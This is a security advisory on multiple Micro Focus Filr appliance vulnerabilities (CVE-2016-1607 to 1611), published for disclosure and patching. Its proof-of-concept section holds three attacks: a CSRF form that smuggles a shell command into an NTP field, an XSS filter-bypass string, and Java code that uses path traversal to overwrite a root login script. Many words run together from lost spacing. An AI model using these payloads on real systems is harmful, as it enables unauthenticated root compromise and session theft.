SECConsultVulnerabilityLabSecurityAdvisory<20160725-0>=======================================================================
title:Multiple vulnerabilities
product:MicroFocus(former Novell)FilrAppliance
vulnerable version:Filr2<=2.0.0.421,Filr1.2<=1.2.0.846
fixed version:Filr2 v2.0.0.465,Filr1.2 v1.2.0.871CVE number:CVE-2016-1607,CVE-2016-1608,CVE-2016-1609CVE-2016-1610,CVE-2016-1611
impact: critical
homepage: https://www.novell.com/products/filr/
found:2016-05-23
by:W. Ettlinger(OfficeVienna)SECConsultVulnerabilityLabAn integrated part of SECConsultBangkok-Berlin-Linz-Montreal-MoscowSingapore-Vienna(HQ)-Vilnius-Zurich
https://www.sec-consult.com
=======================================================================Vendor description:-------------------
"Unlike other mobile file access and collaborative file sharing solutions,MicroFocusFilr has been designed withthe enterprise in mind, resulting in less
administration, better security and more productive users."
URL: https://www.novell.com/products/filr/Business recommendation:------------------------During a very quick security check several vulnerabilities withhigh impact
have been discovered.SECConsult recommends toimmediately apply the patches
provided by MicroFocustoaddress these issues.
Please note that since SECConsult did not conduct a thorough technical security
check SECConsult cannot make a statement regarding the overall security of the
MicroFocusFilrappliance.
Vulnerability overview/description:-----------------------------------During a quick security check several vulnerabilities have been identified that
ultimately allow an attacker tocompletely compromise the appliance:1)CrossSiteRequestForgery(CSRF)-CVE-2016-1607Several functions within the appliance's administative interface lack protection
against CSRFattacks. This allows an attacker who targets an authenticated
administrator toreconfigure the appliance.2)OSCommandInjection-CVE-2016-1608The appliance administrative interface allows an authenticated attacker toexecute arbitrary operating system commands. Please note that an attacker can
combine this vulnerability withvulnerability #1.Inthis scenario, an attacker
does not need tobe authenticated.3)InsecureSystemDesignThe appliance usesaJetty application server toprovide the appliance
administration interface. This application server is started as the superuser
"root".Please note that combined withvulnerability #1 and #2 an attacker can
run commands as the superuser "root" without the need for any authentication.
For vendor remark on #3 see solution section.4)PersistentCross-SiteScripting-CVE-2016-1609TheFilr web interfaceusesa blacklist filter totrytostrip any JavaScript
code from user input. However,this filter can be bypassed topersistently
inject JavaScript code into the Filr web interface.5)MissingCookieFlagsThe httpOnly cookie flag is not set for any session cookies set by both the
administrative appliance web interface and the Filr web interface. Please note
that combined withvulnerability #4 an attacker can steal session cookies of
both the appliance administration interface and the Filr web interface(since
cookies are shared across ports).For vendor remark on #5 see solution section.6)AuthenticationBypass-CVE-2016-1610An unauthenticated attacker is able toupload email templates.7)PathTraversal-CVE-2016-1610The functionality that allows an administrator toupload email templates fails
torestrict the directory the templates are uploaded to. Please note that
combined withvulnerability #6 an attacker is able toupload arbitray files withthe permissions of the system user "wwwrun".8)InsecureFilePermissions-CVE-2016-1611A file that is run upon system user login is world-writeable. This allows a local
attacker withrestricted privileges toinject commands that are being executed
as privileged users as soon as they log into the system. Please note that
combined withvulnerabilities #6 and #7 an unauthenticated attacker can inject
commands that are executed as privileged system users (e.g. root) using the Filr
web interface.
Proof of concept:-----------------1,2,3)The following HTML fragment demonstrates that using a CSRF attack (#1) system
commands can be injected (#2) that are executed as the user root (#3):----- snip -----<html><body><form action="https://<host>:9443/vaconfig/time" method="POST"><input type="hidden" name="ntpServer" value="0.novell.pool.ntp.org 1.novell.pool.ntp.org';id>/tmp/test;'"/><input type="hidden" name="region" value="europe"/><input type="hidden" name="timeZone" value="Europe/Vienna"/><input type="hidden" name="utc" value="true"/><input type="hidden" name="_utc" value="on"/><input type="submit" value="Submit request"/></form></body></html>----- snip -----4)The following string demonstrates how the XSS filter can be circumvented:<img src='https://www.exploit-db.com/exploits/40161/>' onerror='alert(1)'>This string can e.g. be used by a restricted user in the "phone" field of the
user profile. The script is executed by anyone viewing the profile (e.g. admins).5)None of the session cookies are set withthe httpOnly flag.6,7,8)The following Java fragment demonstrates how an unauthenticated attacker (#6)
can overwrite a file in the filesystem (#7& #8) that is executed upon user login
of e.g. the root user:----- snip -----String sessionCookie ="sectest";String host ="http://<host>/";ProxySettings settings =newProxySettings();HttpCookie cookie =newHttpCookie("JSESSIONID", sessionCookie);
settings.setCookieManager(newCookieManager());
settings.getCookieManager().getCookieStore().add(newURI(host), cookie);
settings.setModuleBaseUrl(host +"ssf/gwt/");
settings.setRemoteServiceRelativePath("gwtTeaming.rpc");
settings.setPolicyName("338D4038939D10E7FC021BD64B318D99");GwtRpcService svc =SyncProxy.createProxy(GwtRpcService.class, settings);VibeXsrfToken token =newVibeXsrfToken(StringUtils.toHexString(Md5Utils.getMd5Digest(sessionCookie.getBytes())));((HasRpcToken) svc).setRpcToken(token);String fileName ="../../../../etc/profile.d/vainit.sh";FileBlob fileBlob =newFileBlob(ReadType.TEXT, fileName,"",1l,4,1l,false,4l);
fileBlob.setBlobDataString("id > /tmp/profiledtest\n");BinderInfo folderInfo =newBinderInfo();
folderInfo.setBinderId((long)1);
folderInfo.setBinderType(BinderType.WORKSPACE);
folderInfo.setWorkspaceType(WorkspaceType.EMAIL_TEMPLATES);VibeRpcCmd cmd =newUploadFileBlobCmd(folderInfo, fileBlob,true);HttpRequestInfo ri =newHttpRequestInfo();
svc.executeCommand(ri, cmd);----- snip -----Vulnerable/ tested versions:-----------------------------The version 2.0.0.421 of MicroFocusFilr was found tobevulnerable. This version
was the latest version at the time of the discovery.
Accordingtothe vendor,Filr1.2 is also vulnerable.
Vendor contact timeline:------------------------2016-05-23:Sending encrypted advisory tosecurity@novell.com,Setting latest
possible release date to2016-07-122016-05-24:Initial response from MicroFocus: forwarded the information toFilr
engineering team
2016-06-13:MicroFocus releases patch toaddress issue #82016-06-14:Requested status update
2016-06-14:MicroFocus expects release of the patches in early July2016-06-30:Askingfor status update, answer of MicroFocus2016-07-06:MicroFocus needs more time topatch issues, release re-scheduled for15th
2016-07-12:Askingfor status update;"final rounds of QA" at MicroFocus2016-07-16:Postponing advisory release, patch not yet ready
2016-07-22:Patch release by MicroFocus2016-07-25:Coordinated advisory release
Solution:---------The"Filr 2.0 Security Update 2" can be downloaded here and should
be applied immediately:
https://download.novell.com/Download?buildid=3V-3ArYN85I~Those patches fix vulnerabilities #1, #2, #4, #6, #7"Filr 1.2 Security Update 3" can be found here:
https://download.novell.com/Download?buildid=BOTiHcBFfv0~Knowledge base references at MicroFocus:Issue #1: https://www.novell.com/support/kb/doc.php?id=7017786Issue #2: https://www.novell.com/support/kb/doc.php?id=7017789Issue #4: https://www.novell.com/support/kb/doc.php?id=7017787Issue #6& #7: https://www.novell.com/support/kb/doc.php?id=7017788Local privilege escalation via insecure file permissions (#8) has
already been fixed in the Filr2.0 security update 1 in June:
https://www.novell.com/support/kb/doc.php?id=7017689Issue #3:AccordingtoMicroFocus,Jetty actually runs as user
"vabase-jetty" but will pass commands off toanother service on
the box that runs as root toperform privileged actions.
They have fixed the command injection in this release and the
next release will include much more stringent parameter validation
for passing the commands.
Issue #5:AccordingtoMicroFocus, a component of Filr does not
function properly when the httpOnly flag is enabled. This will be
addressed in a future release.
Workaround:-----------NoneAdvisoryURL:-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SECConsultVulnerabilityLabSECConsultBangkok-Berlin-Linz-Montreal-MoscowSingapore-Vienna(HQ)-Vilnius-ZurichAboutSECConsultVulnerabilityLabTheSECConsultVulnerabilityLab is an integrated part of SECConsult. It
ensures the continued knowledge gain of SECConsult in the field of network
and application security tostay ahead of the attacker. TheSECConsultVulnerabilityLab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interestedtoworkwiththe experts of SECConsult?Send us your application https://www.sec-consult.com/en/Career.htm
Interested in improving your cyber security withthe experts of SECConsult?Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOFW. Ettlinger/@2016